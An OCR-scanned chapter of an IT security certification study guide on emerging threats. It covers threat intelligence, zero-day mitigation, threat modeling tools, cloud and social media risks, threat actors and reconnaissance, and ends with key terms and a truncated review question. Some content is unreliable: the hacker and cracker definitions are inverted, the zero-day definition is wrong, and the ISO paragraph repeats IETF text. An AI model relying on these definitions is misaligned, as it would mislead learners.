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security systems and services that are released. Firewalls first emerged two 
decades ago as the first IT security systems. Intrusion detection systems 
(IDSs) and intrusion prevention systems (IPSs) followed shortly thereafter. 
Today, unified threat management (UTM) combines a traditional firewall 
with content inspection and filtering, spam filtering, intrusion detection, 
and antivirus. Biometric systems have increased in popularity, and the 
security of routers, switches, and other network devices has evolved. 
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Today, security professionals only need to look at industry blogs, white 
papers, and knowledge bases to learn about the newest security systems 
and services. Recently, the biggest advances in security have occurred in 
the wireless network and mobile device areas. These two areas have 
introduced new security concerns that never needed to be considered in the 
past. Fortunately, learning about the security needs in these two areas is 
just a click away for security professionals. However, caution should be 
used when researching new security systems and services because not all 
information comes from reputable sources. Security professionals should 
always verify that the information, systems, and services they obtain are 
valid and do not pose a threat to their enterprise. 


For many large enterprises, security systems and services are implemented 
and managed internally. However, some enterprises may choose to 
outsource to a managed security service provider. These providers may 
include a broad range of services, including monitoring security devices, 
providing penetration testing, providing analysis of network activity, and 
responding to any issues they discover, depending on the terms of the 
service-level agreement (SLA). Organizations must ensure that SLAs 
define all the services that the providers will be responsible for. 


One emerging trend in which the proper crafting of SLAs is especially 
relevant is the increasing use of cloud vendors by organizations. Security 
professionals must ensure that all SLAs specify in detail the exact security 
measures to be deployed in defense of the organization’s data. Handing of 
data to a cloud provider does not diminish the obligation of an 
organization to protect its sensitive data, and security professionals must 
ensure that SLAs reflect this shared obligation. 


Finally, security professionals should keep in mind that any new security 
technologies or services that are implemented may also introduce new 
security vulnerabilities. Security professionals should continually assess 
new security technologies and services to identify any vulnerabilities that 
exist. 


Technology Evolution (e.g., RFCs, ISO) 


As technologies evolve, organizations need a means to communicate any 
major technological advancement that has occurred. The Internet 
Engineering Task Force (IETF) is an international body of Internet 
professionals. The IETF is responsible for creating requests for comments 
(RFCs) that describe research and innovations on the Internet and its 
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systems. Most RFCs are submitted for peer review and, once approved, are 
published as Internet standards. 


RFCs have been issued for a number of Internet protocols and systems. 
While many RFCs are now obsolete, there are still a great many that are in 
use today, including the following: 


Ke 
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=» RFC 5198, which covers Telnet 


» RFCs 2228, 2640, 2773, 3659, 5797, and 7151, on File Transfer 
Protocol (FTP) 


=» RFCs 1101, 1183, 1101, 1183, 1348, 1876, 1982, 2065, 2181, 2308, 
2535, 4033, 4034, 4035, 4343, 4035, 4592, 5936, and 8020, which 
discuss domain names and the Domain Name System (DNS) 


= RFC 1157, on Simple Network Management Protocol (SNMP) 
version 1 


= RFC 2131, on Dynamic Host Configuration Protocol (DHCP) 


= RFCs 3337, 3771, 4510, 4511, 4513, and 4512, which cover 
Lightweight Directory Access Protocol (LDAP) version 3 


=» RFCs 8200, 5095, 5722, 5871, 6437, 6564, 6935, 6946, 7045, and 
7112, on IPv6 


= RFC 2821, which discusses Simple Mail Transfer Protocol (SMTP) 


= RFCs 2865, 2866, and 3575, on Remote Authentication Dial-in User 
Server (RADIUS) 


m RFCs 3315, 4361, 5494, 6221, 6422, 6644, 7083, 7227, 7283, and 
7550, on DHCP version 6 


While the IETF is primarily concerned with the Internet, the ISO/IEC 
establishes guidelines and general principles. The Internet Engineering 
Task Force (IETF) is an international body of Internet professionals. The 
IETF is responsible for creating requests for comments (RFCs) that are 
industry standards in many areas. One of the primary standards of concern 
to security professionals is ISO 17799, which was issued in 2005. It 
establishes guidelines and general principles for information security 
management in an organization. ISO 27000 is a family of information 
security management system (ISMS) standards. 
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Threat Intelligence 


Threat intelligence is a process that is used to inform decisions regarding 
responses to any menace or hazard presented by the latest attack vectors 
and actors emerging on the security horizon. It involves analyzing 
evidence-based knowledge, including context, mechanisms, indicators, 
implications, and actionable advice, about an existing or emerging menace 
or hazard to assets. 


Performing threat intelligence requires the generation of a certain amount 
of raw material. This information includes data on the latest attacks, 
knowledge of current vulnerabilities and threats, specifications on the 
latest zero-day mitigation controls and remediation techniques, and 
descriptions of the latest threat models. The following sections cover these 
topics. 


Latest Attacks 


To understand client-side attacks, security professionals must first 
understand server-side attacks. Servers provide services that clients can 
use, including DNS, DHCP, FTP, and so on. Clients make use of these 
services by connecting to the server through a port. By allowing 
connections, servers are vulnerable to attacks from hackers. Any attack 
directly against a server is considered a server-side attack. 


A client-side attack targets vulnerabilities in the client’s applications that 
work with the server. A client-side attack can occur only if the client 
makes a successful connection with the server. Client-side attacks are 
becoming increasingly popular because attackers usually find it easier to 
attack a client computer and because of the proliferation of client 
computers. Administrators often ensure that the servers are well protected 
with the latest updates and security patches. However, the same care is not 
always taken with client computers, particularly those owned by 
individuals. Client-side attacks can involve web servers but can also 
involve client/server configurations using other technologies, including 
FTP, video streaming, and instant messaging. 


To prevent client-side attacks, security professionals should ensure that the 
client computers are kept up-to-date with the latest updates and security 
patches for the operating system and all applications. A single update for 
an application can cause a vulnerability in a client computer that can be 
exploited. Also, security professionals should ensure that installed 
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applications are limited and that firewalls have rules configured to watch 
for the use of nonstandard ports. An organization can implement network 
access control (NAC) policies to ensure that client computers attaching to 
the network have certain security minimums. Client computers that do not 
comply with these NAC policies are not allowed to connect. Finally, 
security awareness training for users should include instruction on how 
attacks occur and how to report suspected attacks. 


As has been stated many times in this book, information technology 
changes quickly. Security professionals are constantly challenged to 
ensure that they understand emerging threats and issues and can mitigate 
these problems. Today, the main emergent threats and issues generally 
involve mobile computing, cloud computing, and virtualization. 


Security professionals face unique challenges due to the increasing use of 
mobile devices combined with the fact that many of these devices connect 
using public networks with little or no security. Educating users on the 
risks related to mobile devices and ensuring that they implement 
appropriate security measures can help protect against threats involved 
with these devices. Some of the guidelines that should be provided to 
mobile device users include implementing a device-locking PIN, using 
device encryption, implementing GPS location, and enabling remote 
wiping. Also, users should be cautioned about downloading apps without 
ensuring that they are coming from a reputable source. In recent years, 
mobile device management (MDM) and mobile application management 
(MAM) systems have become popular in enterprises. They are 
implemented to ensure that an organization can control mobile device 
settings, applications, and other parameters when those devices are 
attached to the enterprise. 


With cloud computing, a third-party vendor is closely involved in the 
computer operations of an organization. Security and privacy concerns 
should be addressed as part of any contract and should include provisions 
regarding the ownership and dispersion of data. The level of protection for 
data should be explicitly defined to ensure that the provider will give the 
level needed. Also, keep in mind that crossing international borders can 
affect the laws and regulations that govern service. 


Today, physical servers are increasingly being consolidated as virtual 
servers on the same physical box. Virtual networks using virtual switches 
even exist in the physical devices that host these virtual servers. These 
virtual network systems and their traffic can be segregated in all the same 
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ways as in a physical network—using subnets, VLANs, and, of course, 
virtual firewalls. Virtual firewalls are software that has been specifically 
written to operate in the virtual environment. Increasingly, virtualization 
vendors such as VMware are making part of their code available to 
security vendors to create firewalls (and antivirus products) that integrate 
closely with their products. 


Keep in mind that in any virtual environment, each virtual server that is 
hosted on the physical server must be configured with its own security 
mechanisms, including antivirus and anti-malware software and all the 
latest service packs and security updates for all the software hosted on the 
virtual machine. Also, remember that all the virtual servers share the 
resources of the physical device. Security professionals should always be 
on guard for new emerging threats and issues by performing ongoing 
research. Networking with other security professionals can also provide a 
great deal of information on these threats and issues. 


The following are some examples of the types of attacks that occurred in 
2017: 


= The rise of highly organized groups like Shadow Broker, a group that 
hacked the U.S. National Security Agency (NSA) and released 
versions of the hacking tools the NSA has developed 


m Ransomware attacks such as WannaCry, Petya, and GoldenEye 


= Cloud vulnerabilities—such as the bugs Cloudflare announced were 
patched 


= Multiple hacks of campaign servers, not only in the United States but 
also in France 


Knowledge of Current Vulnerabilities and Threats 


A vulnerability is an absence of a countermeasure or a weakness of a 
countermeasure that is in place. Vulnerabilities can occur in software, 
hardware, or personnel. An example of a vulnerability is unrestricted 
access to a folder on a computer. Most organizations implement 
vulnerability assessments to identify vulnerabilities. A threat is the next 
logical progression in risk management. A threat occurs when a 
vulnerability is identified or exploited. An example of a threat is an 
attacker identifying a folder on a computer that has a misconfigured or 
absent access control list (ACL). 
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Because technology changes quickly, security professionals need to have 
knowledge of the technology used by their organization, the tools used by 
attackers, and any vulnerabilities within their enterprise that a potential 
attacker could exploit. To ensure that they have the knowledge they need, 
security professionals should obtain periodic intensive security training to 
bring their skills up-to-date. 


Currently, some of the biggest threats to organizations are related to the 
use of mobile devices, wireless networks, and social engineering attacks. 
Mobile devices, BYOD policies, and wireless networks are gaining 
popularity with many organizations. Security professionals should 
familiarize themselves with the vulnerabilities and threats of these 
technologies and ensure that the enterprise is protected. Social engineering 
attacks are constantly becoming more complex and convincing, and 
security awareness training should include examples of the latest 
techniques. 


To identify current vulnerabilities, an organization should perform a 
vulnerability assessment. Such an assessment helps identify areas of 
weakness in a network. Vulnerability assessments usually fall into one of 
three categories: 


= Personnel testing: Reviews standard practices and procedures that 
users follow 


= Physical testing: Reviews facility and perimeter protections 


= System and network testing: Reviews systems, devices, and 
network topology 


A security analyst who will be performing a vulnerability assessment must 
understand the systems and devices that are on the network and the jobs 
they perform. Having this information ensures that the analyst can assess 
the vulnerabilities of the systems and devices based on known and 
potential threats to the systems and devices. 


As we look ahead, the following are some of the trends we expect: 
Key. 
Topic 


=» Ransomware is expected to subside somewhat in 2018. While 
ransomware has cost billions, initiatives such as the No More 
Ransom! collaboration, the development and release of anti- 
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ransomware technologies, and continued law enforcement actions 
will reduce the volume and effectiveness of ransomware. 


= Vulnerability exploits on Windows should cool down as other 
platforms heat up. As fewer and fewer opportunities exist to 
compromise Windows in user mode, attackers will turn to attacking 
Windows in kernel mode and mounting attacks on more attractive 
options, such as virtualization software, Adobe Flash, and 
infrastructure software such as OpenSSL. 


= Hardware and firmware threats are expected to become an increasing 
target for sophisticated attackers. While typically only successful 
when mounted by the skilled hands of a nation-state or advanced 
persistent threat APT group, an attack on hardware and firmware can 
be devastating as this firmware forms the platform for the entire 
device. 


= Dronejacking is sure to place threats in the sky. At some point, 
someone will hack into a drone with a laptop and a directional 
antenna and take over the drone. 


m Mobile threats will include ransomware, remote access trojan 
(RATs), and compromised app markets. The app markets for mobile 
devices will become more dangerous places as RATS, ransomware, 
and other threats become more widespread. 


Zero-Day Mitigation Controls and Remediation 


Vulnerabilities are often discovered in live environments before a fix or 
patch exists. Such vulnerabilities are referred to as zero-day 
vulnerabilities. A zero-day attack occurs when a security vulnerability in 
an application is discovered on the same day the application is released. 
The best way to prevent zero-day attacks is to write bug-free applications 
by implementing efficient design, coding, and testing practices. It is better 
to have your staff discover zero-day vulnerabilities than to have those 
looking to exploit the vulnerabilities find them. Monitoring known hacking 
community websites can often provide an early alert because hackers often 
share zero-day exploit information. Honeypots and honeynets can also 
provide forensic information about hacker methods and tools for zero-day 
attacks. 


New zero-day attacks against a broad range of technology systems are 
announced regularly. A security manager should create an inventory of 
applications and maintain a list of critical systems to manage the risks of 
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these attack vectors. 


Because zero-day attacks occur before a fix or patch has been released, it 
is difficult to prevent them. As with many other attacks, keeping all 
software and firmware up-to-date with the latest updates and patches is 
important. Enabling audit logging of network traffic can help reconstruct 
the path of a zero-day attack. Inspection of logs helps security 
professionals determine the presence of an attack in the network, estimate 
the damage, and identify corrective actions. Zero-day attacks usually 
involve activity that is outside “normal” activity, so documenting normal 
activity baselines is important. Also, routing traffic through a central 
internal security service can ensure that any fixes affect all the traffic in 
the most effective manner. Whitelisting can also aid in mitigating attacks 
by ensuring that only approved entities are able to use certain applications 
or complete certain tasks. Finally, security professionals should ensure that 
their organization implements the appropriate backup schemes to ensure 
that recovery can be achieved, thereby providing remediation from an 
attack. 


Threat Model 


A threat model is a conceptual design that attempts to provide a framework 
on which to implement security efforts. Many models have been created. 
Let’s say, for example, that you have an online banking application and 
need to assess the points at which the application faces threats. Figure 17-1 
shows how a threat model in the form of a data flow diagram might be 
created using the Open Web Application Security Project (OWASP) 
approach to identify where the trust boundaries are located. 


814 


Data Flow Diagram-Online Banking Application 
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Figure 17-1 OWASP Threat Model 
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Threat modeling tools go beyond these simple data flow diagrams. Some 
recent tools are: 


Ke 
pt 


= Threat Modeling Tool (formerly SDL Threat Modeling Tool) 
identifies threats based on the STRIDE threat classification scheme. 


=» MyAppSecurity identifies threats based on a customizable 
comprehensive threat library and is intended for collaborative use 
across all organizational stakeholders. 


= [riusRisk offers both community and commercial versions of a tool 
that focuses on the creation and maintenance of a live threat model 
through the entire Software Development Life Cycle (SDLC). It 
connects with several different tools to empower automation. 


= securiCAD focuses on threat modeling of IT infrastructures using a 
computer-based design (CAD) based approach where assets are 
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automatically or manually placed on a drawing pane. 


=» SD Elements is a software security requirements management 
platform that includes automated threat modeling capabilities 


Research Security Implications of Emerging Business Tools 


While many organizations are cautious about early implementation of new 
business tools, the senior managers of some organizations are quick to 
push their IT departments into implementing these business tools even 
before all the security issues introduced by these tools are known. Security 
professionals must meet the demands of senior management while keeping 
enterprise security at the forefront. Recent new business tools include 
social media/networking and end-user cloud storage. Integration of these 
business tools within the organization’s enterprise should be carefully 
planned. 


Evolving Social Media Platforms 


With the rise in popularity of social media and networking, cybercriminals 
have started targeting social media users. In 2018, Facebook announced 
plans to address the posting of fake news or false news stories on its site. 
Such abuse of the site can have startling effects on public opinion. Any 
data—whether true or false—can be used to further political causes. 


Suppose a company is evaluating a new strategy involving the use of 
social media to reach its customers so that the marketing director can 
report important company news, product updates, and special promotions 
on the social websites. After an initial and successful pilot period, other 
departments want to use social media to post their updates as well. The 
chief information officer (CIO) has asked the company security 
administrator to document three negative security impacts of allowing IT 
staff to post work-related information on such websites. In this scenario, 
the security administrator should report back to the CIO that the major 
risks of social media include malware infection, phishing attacks, and 
social engineering attacks. The company should dedicate specific staff to 
act as social media representatives of the company. The security policy 
needs to be reviewed to ensure that the social media policy is properly 
implemented. 


If an organization decides to allow its employees to access and use social 
media at work, strict policies and guidelines should be established, 
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including: 


Key. 
Topic 
= Make sure all devices and applications are up-to-date. 


= Ensure that the organization employs layers of security to defend the 
enterprise against security threats. 


= Create acceptable use policies that explicitly spell out the details 
about social media usage at work. These policies should include what 
type of company information can be published by all personnel and 
what type should only come from senior management or public 
relations. 


= Include social media training as part of the security awareness 
training that all personnel must obtain. 


End-User Cloud Storage 


Although cloud technologies have been out for a few years, they are just 
now Starting to become popular with end users. Unfortunately, most end 
users do not fully understand the security implications of cloud storage. 


Cloud services give end users more accessibility to their data. However, 
this also means that end users can take advantage of cloud storage to 
access and share company data from any location. At that point, the IT 
team no longer controls the data. This is the case with both public and 
private clouds. 


With private clouds, organizations can: 


= Ensure that the data is stored only on internal resources. 

= Ensure that the data is owned by the organization. 

= Ensure that only authorized individuals are allowed to access the data. 
= Ensure that data is always available. 


However, a private cloud is only protected by the organization’s intemal 
resources, and this protection can often be affected by the knowledge level 
of the security professionals responsible for managing the cloud security. 


With public clouds, organizations can be sure that: 


= Data is protected by enterprise-class firewalls and within a secured 
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facility. 


= Attackers and disgruntled employees are unsure of where the data 
actually resides. 


= The cloud vendor will provide security expertise and must maintain 
the level of service detailed in the contract. 


However, public clouds can grant access to any location, and data is 
transmitted over the Internet. Also, the organization depends on the vendor 
for all services provided. 


End users must be educated about cloud usage and limitations as part of 
their security awareness training. In addition, security policies should 
clearly state where data can be stored, and ACLs should be configured 
properly to ensure that only authorized personnel can access data. The 
policies should also spell out consequences for storing organizational data 
in cloud locations that are not authorized. 


Integration Within the Business 


As with many other technologies, most organizations had very strict 
policies against the use of social media at its advent. But through the years, 
organizations have adopted more lenient policies when it comes to the use 
of social media at work. 


When cloud implementations were first becoming popular, many 
organizations shied away from giving a vendor so much control over 
organizational data. However, as more cloud providers have been 
established and prices have continued to improve, more organizations are 
choosing to use some sort of cloud implementation for their enterprise. 


If your organization decides to implement these new business tools or any 
new tool that comes in the future, it is important that a full risk assessment 
be done before the organization implements the new tool. Policies should 
be put into place to protect the organization and its assets, and user 
security awareness is essential. Users should be aware of exactly what is 
allowed with these new tools. For example, regular users should never 
announce new products on their own pages until an official organizational 
announcement is made, and then the users should only divulge the 
information that is given in the official announcement. 


Integrating new tools within a business can often bring many advantages 
and make the organization work more effectively. However, security 
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professionals must be given the time and resources to ensure that these 
tools do not adversely affect the organization’s security. 


Big Data 


Big data is a term for sets of data so large or complex that they cannot be 
analyzed by using traditional data processing applications. Specialized 
applications have been designed to help organizations with their big data. 
The big data challenges that may be encountered include data analysis, 
data capture, data search, data sharing, data storage, and data privacy. 


While big data is used to determine the causes of failures, generate 
coupons at checkout, recalculate risk portfolios, and find fraudulent 
activity before it ever has a chance to affect the organization, its existence 
creates security issues. The first issue is its unstructured nature. Traditional 
data warehouses process structured data and can store large amounts of it, 
but there is still a requirement for structure. 


Big data typically uses Hadoop, which requires no structure. Hadoop is an 
open source framework used for running applications and storing data. 
With the Hadoop Distributed File System, individual servers that are 
working in a cluster can fail without aborting the entire computation 
process. There are no restrictions on the data that this system can store. 


While big data is enticing because of the advantages it offers, it presents a 
number of issues: 
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= Organizations still do not understand it very well, and unexpected 
vulnerabilities can easily be introduced. 


= Open source codes are typically found in big data, which can result in 
unrecognized backdoors. It can contain default credentials. 


= Attack surfaces of the nodes may not have been reviewed, and servers 
may not have been hardened sufficiently. 


=» Authentication of users and data access from other locations may not 
be controlled. 


= Log access and audit trails may be an issue. 


= Opportunities for malicious activity, such as malicious data input and 
poor validation, are plentiful. 
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The relative security of a big data solution rests primarily on the 
knowledge and skill sets of the individuals implementing and managing 
the solution and the partners involved rather than the hardware and 
software involved. 


AI/Machine Learning 


Artificial intelligence (AI) and machine learning have fascinated humans 
for decades. Since the first time we conceived of the idea of talking to a 
computer and getting an answer like characters did in comic books years 
ago, we have waited for the day to come when smart robots would not just 
do the dirty work but also learn just as humans do. 


Today, robots are taking on increasingly more and more detailed work. 
One of the exciting areas where AI and machine learning is yielding 
dividends is in intelligent network security—or the intelligent network. 
These networks seek out their own vulnerabilities before attackers do, 
learn from past errors, and work on a predictive model to prevent attacks. 


For example, automatic exploit generation (AEG) is the “first end-to-end 
system for fully automatic exploit generation,” according to the Carnegie 
Mellon Institute’s own description of its AI named Mayhem. Developed 
for off-the-shelf as well as the enterprise software being increasingly used 
in smart devices and appliances, AEG can find a bug and determine 
whether it is exploitable. 


Global IA Industry/Community 


The global information assurance (IA) industry and community comprise 
many official groups that provide guidance on information security. Three 
groups that are involved in this industry include the SysAdmin, Audit, 
Network, and Security (SANS) Institute, the International Information 


Systems Security Certification Consortium [(ISC)?], and the International 
Council of Electronic Commerce Consultants (EC-Council). These groups 
provide guidance on establishing information technology security and also 
offer security certifications. The IT security community is also full of 
individuals and small groups who are often very willing to help security 
professionals in their day-to-day struggles. 


The following sections discuss CERT, conventions/conferences, threat 
actors, and emerging threat sources and threat intelligence. 
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Computer Emergency Response Team (CERT) 


CERT is a community comprised of many official groups that provide 
guidance on information security. These groups study security 
vulnerabilities and provide assistance to organizations that fall victim to 
attacks. It is part of the Software Engineering Institute at Carnegie Mellon 
University. It offers 24-hour emergency response service and shares 
information for improving web security. 


A similar organization is the U.S. Computer Emergency Readiness Team 
(US-CERT), part of the National Cyber Security Division of the U.S. 
Department of Homeland Security. US-CERT works closely with CERT to 
coordinate responses to cybersecurity threats. 


An organization should have an internal incident response team. When 
establishing its incident response team, an organization must consider the 
technical knowledge of each individual. The members of the team must 
understand the organization’s security policy and have strong 
communication skills. Members should also receive training in incident 
response and investigations. 


When an incident has occurred, the primary goal of the team is to contain 
the attack and repair any damage caused by the incident. Security isolation 
of an incident scene should start immediately when the incident is 
discovered. Evidence must be preserved, and the appropriate authorities 
should be notified. 


An incident response team should have access to the organization’s 
incident response plan. This plan should include the list of authorities to 
contact (including CERT), team roles and responsibilities, an internal 
contact list, procedures for securing and preserving evidence, and a list of 
investigation experts who can be contacted for help. The organization 
should create a step-by-step manual for the incident response team to 
follow to ensure that no steps are skipped. It may be necessary to involve 
CERT early in the process if help is needed. After the incident response 
process has been engaged, all incident response actions should be 
documented. 


If the incident response team determines that a crime has been committed, 
senior management and the proper authorities should be contacted 
immediately. 
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Conventions/Conferences 


Perhaps one of the best avenues for security professionals to get the latest 
on information security is to attend security conventions and conferences. 
Such conventions and conferences cover different facets of security, but 
the majority of them fit into one of three categories: security industry, 
academic security, and hacking. 


Probably the most well-known conference is RSA Conference, which 
covers all facets of security and draws security professionals from across 
the employment spectrum, including educators, government personnel, and 
other security professionals. This conference has an agenda that includes 
several tracks, including cloud and data security, cybercrime and law 
enforcement, mobile security, and security infrastructure. 


The Black Hat convention is an annual conference held in Las Vegas and 
other locations in Europe and Asia. It includes four days of training and 
two days of briefings, providing attendees with the latest in information 
security research, development, and trends in a vendor-neutral 
environment. 


DEFCON conferences are focused on hacking and are considered more 
technical in nature than many of the other popular conferences. 


It is important for security professionals to use security conventions and 
conferences as the learning tools they are intended to be. Often the training 
obtained at these events can help prepare a security professional for what 
is coming, while also covering what has already occurred in the security 
field. 


Research Consultants/Vendors 


Organizations are increasingly looking outside themselves for research, 
including research on trends in security. Well-respected organizations such 
as Accenture, BAE Systems Applied Intelligence, Booz Allen, and KPMG 
provide much better research than organizations can do for themselves— 
for a price. Only the very largest corporate entities can afford to maintain 
research departments that can produce the quality that can be obtained at 
the prices commanded by these vendors. 


Threat Actor Activities 


A threat is carried out by a threat actor. An attacker who takes advantage 
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of an inappropriate or absent ACL is a threat agent. Keep in mind, though, 
that threat actors can discover and/or exploit vulnerabilities. Not all threat 
actors will actually exploit an identified vulnerability. 


The U.S. Federal Bureau of Investigation (FBI) has identified three 
categories of threat actors: 
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= Organized crime groups primarily threatening the financial services 
sector and expanding the scope of their attacks 


= State sponsors, usually foreign governments, interested in pilfering 
data, including intellectual property and research and development 
data from major manufacturers, government agencies, and defense 
contractors 


= Terrorist groups that want to impact countries by using the Internet 
and other networks to disrupt or harm the viability of a society by 
damaging its critical infrastructure 


While there are other less organized groups out there, law enforcement 
considers these three groups to be the primary threat actors. However, 
organizations should not totally disregard the threats of any threat actors 
that fall outside these three categories. Lone actors or smaller groups that 
use hacking as a means to discover and exploit any discovered 
vulnerability can cause damage just like the larger, more organized groups. 


Hacker and cracker are two terms that are often used interchangeably in 
media but do not actually have the same meaning. Hackers are individuals 
who attempt to break into secure systems to obtain knowledge about the 
systems and possibly use that knowledge to carry out pranks or commit 
crimes. Crackers, on the other hand, are individuals who attempt to break 
into secure systems without using the knowledge gained for any nefarious 
purposes. Hacktivists are the latest new group to crop up. They are 
activists for a cause, perhaps for animal rights, that use hacking as a means 
to get their message out and affect the businesses that they feel are 
detrimental to their cause. 


In the security world, the terms white hat, gray hat, and black hat are more 
easily understood and less often confused than the terms hackers and 
crackers. A white hat does not have any malicious intent. A black hat has 
malicious intent. A gray hat is somewhere between the other two. A gray 
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hat may, for example, break into a system, notify the administrator of the 
security hole, and offer to fix the security issues for a fee. 


Threat actors use a variety of techniques to gather the information required 
to gain a foothold. 


Topology Discovery 


Topology discovery entails determining the devices in the network, their 
connectivity relationships to one another, and the internal IP addressing 
scheme in use. Any combination of these pieces of information allow a 
hacker to create a “map” of the network, which aids tremendously in 
evaluating and interpreting the data gathered in other parts of the hacking 
process. If the hacker is completely successful, he will end up with a 
diagram of the network. Your challenge as a security analyst is to 
determine whether such a mapping process is possible, using some of the 
processes and tools covered later in this chapter. Based on your findings, 
you should determine steps to take that make topology discovery either 
more difficult or, better yet, impossible. 


OS Fingerprinting 


Operating system fingerprinting is the process of using some method to 
determine the operating system running on a host or a server. By 
identifying the OS version and build number, a hacker can identify 
common vulnerabilities of that operating system using readily available 
documentation from the Internet. While many of the issues will have been 
addressed in subsequent updates, service packs, and hot fixes, there might 
be zero-day weaknesses (issues that have not been widely publicized or 
addressed by the vendor) that the hacker can leverage in the attack. 
Moreover, if any of the relevant security patches have not been applied, 
the weaknesses the patches were intended to address will exist on the 
machine. Therefore, the purpose of attempting OS fingerprinting during 
assessment is to assess the relative ease with which it can be done and 
identify methods to make it more difficult. 


Service Discovery 


Operating systems have well-known vulnerabilities, and so do common 
services. By determining the services that are running on a system, an 
attacker also discovers potential vulnerabilities of the service and may 
attempt to take advantage of them. This is typically done with a port scan, 
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in which all “open,” or “listening,” ports are identified. Once again, the 
lion’s share of these issues will have been mitigated with the proper 
security patches, but that is not always the case; it is not uncommon for 
security analysts to find that systems that are running vulnerable services 
are missing the relevant security patches. Consequently, when performing 
service discovery, patches should be checked on systems found to have 
open ports. It is also advisable to close any ports not required for the 
system to do its job. 


Packet Capture 


Packet capture is the process of using capture tools to collect raw packets 
from the network. Attackers are almost certain to attempt packet capture if 
given the opportunity. By using packet capture, attackers may discover the 
following: 


= Sensitive data that is not encrypted 


= Information that, while not sensitive, may help with the OS, network, 
and service discovery process 


= Packets sent between routers that may reveal network and device 
information 


By performing packet capture, a security analyst can see what attackers see 
and can take steps to mitigate the most revealing issues. 


Log Review 


Although logs are not generally available to an attacker until a specific 
host is compromised, security analysts should examine logs of all 
infrastructure devices and critical server systems for signs of attempted 
access, both successful and unsuccessful. It is likely that the first thing an 
attacker will do after compromising a system is to clear entries in the log 
related to her access, but attackers may at times fail to do this. Moreover, 
in some cases careful examination of system and application logs may 
reveal that access entries are not present or have been deleted by the 
attacker. 


Router/Firewall ACLs Review 


Routers and firewalls perform critical networking functions in the 
environment. They may contain routing tables and access list configuration 
information that can greatly assist in network fingerprinting. Information 
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regarding a device’s operating system may also reveal common attacks 
that may be successful on the device. Probing your own devices can help 
you see what information would be available to an attacker. As a part of 
this process, both the operating system and firmware present on the device 
should be checked for any missing updates and patches, which are 
frequently forgotten on these devices. 


Email Harvesting 


Attackers often attempt a process called email harvesting, and a security 
analyst should do this as well. Typically email harvesting bots (automated 
processes) are used for this. Common ways in which email addresses are 
gathered include the following: 


= From posts with email addresses 

= From mailing lists 

= From web pages and web forms 

= Through the Ident daemon (The Identification Protocol [often called 
the Ident Protocol or IDENT], specified in RFC 1413, is an Internet 
protocol that helps identify the user of a particular TCP connection.) 

= From Internet Relay Chat and chat rooms 

= By accessing a computer used by a valid user 

= Through social engineering 

= By buying lists from other spammers 

= By accessing the emails and address books in another user’s computer 


So why do attackers gather email addresses? One of the biggest reasons is 
to use the addresses as source addresses for spamming. That’s bad enough, 
but certain social engineering attacks involve sending emails to targeted 
employees in an organization. In a type of phishing attack called a spear 
phishing attack, emails are designed to lure a user or group of users to 
connect to a site that appears to be a well-known and secure site for the 
purpose of harvesting access credentials. 


Social Media Profiling 


A great deal of information can be exchanged or made available to the 
world through social media. In some cases, employees may unwittingly (or 
intentionally) reveal sensitive information that can be used to further an 
attack. As a part of a security policy, it should be made clear to users what 
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can and cannot be revealed in social media. Training should also be 
provided to the organization on the dangers of social media as well as 
malware. As a part of assessing the environment, security analysts should 
employ the same social media profiling activities as an attacker. 


Social Engineering 


As a part of assessing the security environment, analysts should attempt 
the most common social engineering attacks to determine the level of 
security awareness of the organization’s users. These attacks involve 
gaining the trust of a user and in some way convincing him or her to reveal 
sensitive information such as a password or to commit other actions that 
reduce the security of the network. In this way, an attacker enlists a user as 
an unwitting assistant in attacking the network. When social engineering 
issues are found, training should be provided to users to prevent these 
attacks in the future. 


Phishing 


Phishing is a social engineering attack that involves sending a mass email 
that appears to come from a trusted party, such as the recipient’s bank. It 
includes a link that purports to connect to the bank’s site, when in reality it 
is a fake site under the attacker’s control that appears to be identical to the 
bank’s site in every way. When the user enters his or her credentials, the 
attacker collects them and can then use them to impersonate the user at the 
real site. As a part of assessing your environment, you should send out 
these types of emails to assess the willingness of your users to respond. A 
high number of successes indicates that users need training to prevent 
successful phishing attacks. 


Emerging Threat Sources 


New threat sources and threat intelligence are emerging daily. Many 
organizations may find themselves victims of cybercrime. Organizations 
must constantly battle to stay ahead of the attackers to protect their data 
and other assets. Unfortunately, no organization today is immune to 
attacks. 


Security professionals can use emerging threat reports and intelligence as a 
means to convince management of the need to invest in new security 
devices and training. Emerging threat reports paired with company attack 
trends can be even more convincing. So make sure to use all the tools at 
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your disposal to make your case! 


Our society depends on computers and information technology so much 
today that it is very rare to find an organization that is not connected to the 
Internet. It is vital that security professionals from across the spectrum 
work together to battle the emerging threats and share with each other 
information regarding these threats and their attack vectors. Consider 
groups like Anonymous and Julian Assange’s WikiLeaks that are known 
for their attacks but were relatively unknown just a few years ago. Even 
terrorist organizations are becoming more technologically savvy in their 
methods of attack. As in most other cases, education is key. A security 
professional never stops learning! 


Exam Preparation Tasks 


As mentioned in the section “How to Use This Book” in the Introduction, 
you have a couple choices for exam preparation: the exercises here and the 
practice exams in the Pearson IT Certification test engine. 


Review All Key Topics 


Review the most important topics in this chapter, noted with the Key 
Topics icon in the outer margin of the page. Table 17-1 lists these key 
topics and the page number on which each is found. 
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Table 17-1 Key Topics for Chapter 17 


Key Topic Element Description Page Number 
List Best practices 640 
List Key RFCs 643 
List Upcoming vulnerabilities and threats 647 
List Threat modeling tools 648 
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List Social media guidelines 650 


List Big data security issues 652 
List FBI categories of threat actors 655 
Define Key Terms 


Define the following key terms from this chapter and check your answers 
in the glossary: 

artificial intelligence (AI) 

best practices 

big data 

black hat 

Black Hat convention 

bring your own device (BYOD) 
client-side attack 

Computer Emergency Readiness Team (CERT) 
DEFCON conference 

dronejacking 

email harvesting 

gray hat 

hacktivist 

Hadoop 

honeynet 

honeypot 

Internet Engineering Task Force (IETF) 
intrusion detection system (IDS) 
intrusion protection system (IPS) 
IriusRisk 


machine learning 
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MyAppSecurity 

network access control (NAC) 
operating system fingerprinting 
packet capture 

personnel testing 

physical testing 

ransomware 

remote access trojan (RATs) 
request for comments (RFC) 
RSA Conference 

SD Elements 

securiCAD 

service discovery 

service-level agreement (SLA) 
social media profiling 

system and network testing 
threat intelligence 

threat model 

Threat Modeling Tool 

threat modeling tools 

topology discovery 

U.S. Computer Emergency Readiness Team (US-CERT) 
unified threat management (UTM) 
white hat 

zero-day attack 





Review Questions 


1. Senior management at your organization has implemented a policy 
which states that best practice documentation must be created for 
all security personnel. Which of the following is a valid reason for 
this documentation? 
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a. 


b. 


Using this documentation will ensure that the organization 
will not have any legal issues due to security. 


Using this documentation will ensure that the organization 
